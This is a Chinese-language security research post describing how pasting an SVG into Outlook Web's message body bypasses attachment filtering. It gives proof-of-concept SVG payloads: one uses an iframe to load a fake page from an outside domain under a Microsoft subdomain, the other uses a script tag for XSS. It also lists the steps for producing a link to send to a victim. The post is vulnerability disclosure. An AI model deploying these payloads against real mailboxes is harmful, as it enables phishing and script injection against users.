官网:http://securitytech.cc/
新技术:绕过文件上传
本文重点:绕过文件上传限制
简介 在我对 Outlook Web 的安全研究中,发现了一个异常行为,进而触发并确认了一个安全漏洞。下面我会说明我是如何发现这个问题、如何分析,以及为什么会出现这个问题。该漏洞目前正在被微软修复,但发现与分析的过程对其他安全研究人员仍然有参考价值。本文的主要集中点是如何绕过文件上传限制。
漏洞是如何被发现的
起初我想测试 Outlook Web 对不同类型文件的处理方式。于是我创建了一个 test.svg 文件,并用两种不同方式把它附加到邮件中:
1. 第一种方法:作为附件上传
- 当我把 SVG 文件作为附件上传时,微软会把该文件作为可下载项提供。
-
- 但在某些情况下,上传这类文件会被阻止。

2. 第二种方法:复制/粘贴(Ctrl+C, Ctrl+V)到邮件正文
- 在这种情况下,文件并没有作为可下载项提供,而是直接在邮件正文中显示!
-
- 也就是说,SVG 内容被嵌入到邮件里,没有经过安全过滤,并在接收方端被加载。

这种行为差异让我觉得不寻常,值得深挖。
技术分析:为什么会这样?
1. Outlook Web 中 contentEditable 与 designMode 的作用
Outlook Web 在编辑区域采用了 contentEditable。这个特性允许 HTML 内容被直接插入到邮件正文中。
- 当我把 SVG 作为附件上传时,微软的服务器会对文件做处理并应用安全规则。
-
- 但当我复制粘贴 SVG 时,文件内容作为 HTML 正文的一部分被插入,并没有被同样的安全过滤处理!

也就是说,微软只对“上传的附件”施加安全限制,但没有对“粘贴进来的内容”执行相同的检查。
什么是 contentEditable,它如何工作?
contentEditable 是 HTML 的一个属性,允许任何元素直接被用户编辑,类似一个富文本编辑器。

在浏览器中按 Ctrl+C / Ctrl+V 时会发生什么?
第一步:复制(Ctrl+C)
当你在本地选择一个文件(例如 test.svg)并按 Ctrl+C 时,会发生:
- 操作系统(OS)把文件放到剪贴板
- 在 Windows 或 macOS 中,按 Ctrl+C 会把与
test.svg相关的数据存到系统剪贴板(Clipboard API)。 -
- 这些数据可以包含原始文件字节、元数据,甚至 MIME 类型(如
image/svg+xml)。
- 这些数据可以包含原始文件字节、元数据,甚至 MIME 类型(如
- 剪贴板 API 保存这些信息
- 浏览器可以通过剪贴板 API 检查剪贴板中的内容类型。
-
- 根据数据类型,浏览器可能会获取文本、图片或整个文件。
第二步:在 Outlook Web 中粘贴(Ctrl+V)
当你在邮件正文中按 Ctrl+V,会发生几件关键事:
情形一:粘贴到 contentEditable 字段(Outlook Web)
由于 Outlook Web 使用 contentEditable,浏览器会检查剪贴板内容:
- 浏览器查询剪贴板:剪贴板里是否有文件或 HTML 内容?
-
- 如果存在文件(例如
test.svg),浏览器检查该文件类型是否允许直接粘贴进contentEditable。
- 如果存在文件(例如
-
- 由于 SVG 是文本型文件(基于 XML),浏览器可能会将其内容视为 HTML 文本而非“文件”。
-
- 结果,浏览器把
test.svg的内容直接插入邮件正文 —— 就像用户粘贴了一个 HTML 片段!
- 结果,浏览器把
这就允许 SVG 中的任意恶意代码被执行。
如何利用这个行为?
利用这个意外行为,我能够在 SVG 文件中嵌入代码,从而实现多种攻击。下面给出两个示例:
a) 在 SVG 内嵌 iframe
一个限制是它不能直接加载使用 IP 或 HTTP 的地址,所以我买了一个域名并在上面放了一个伪造测试页面:
https://yamikaza.com/fake.html
嵌入的 SVG 代码如下:
<svg width="100vw" height="100vh">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml" style="margin: 0; height: 100%;">
<iframe
src="https://yamikaza.com/fake.html"
width="100%"
height="100%"
style="border: none;"
></iframe>
</body>
</foreignObject>
</svg>
该代码会在 attachment.outlook.live.net 这个域下加载伪造页面,可能会让用户误以为这是官方的 Microsoft 页面。


b) 在 SVG 中执行 JavaScript(XSS)
示例代码:
<svg
xmlns="http://www.w3.org/2000/svg"
width="400"
height="400"
viewBox="0 0 124 124"
fill="none"
>
<rect width="124" height="124" rx="24" fill="#000000" />
<script type="text/javascript">
alert(origin);
</script>
</svg>
这段代码证明了可以在 attachment.outlook.live.net 域中执行 JavaScript。
尽管该子域无法访问 outlook.live.com 的 cookies,但仍然能在这个子域内运行脚本。

我是如何测试这个攻击的?
- 我保存了一个恶意的 SVG 文件。
-
- 我使用 Ctrl+C、Ctrl+V 将其粘贴到邮件正文。
-
- 我发送了邮件。
-
- 我右键图片并复制其 URL。
-
- Outlook 自动为该图片生成了链接,这个链接可直接发送给受害者以便利用。
结论
这项研究展示了“上传文件”和“粘贴内容”在处理流程上存在差异,而这种差异可能导致安全漏洞。安全研究者应当注意并调查任何看起来异常或不一致的行为——因为即便是最小的差别,也可能造成重大的安全隐患。